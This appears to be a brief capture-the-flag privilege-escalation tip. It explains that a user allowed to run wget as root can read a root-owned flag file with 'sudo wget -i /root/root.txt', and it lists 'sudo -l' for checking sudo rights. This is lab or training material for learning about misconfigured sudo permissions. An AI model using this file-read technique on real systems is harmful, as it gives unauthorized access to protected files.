If you can run ‘wget’ as root, use this command to try and read the flag sudo wget -i /root/root.txt Sudo PrivEsc sudo -l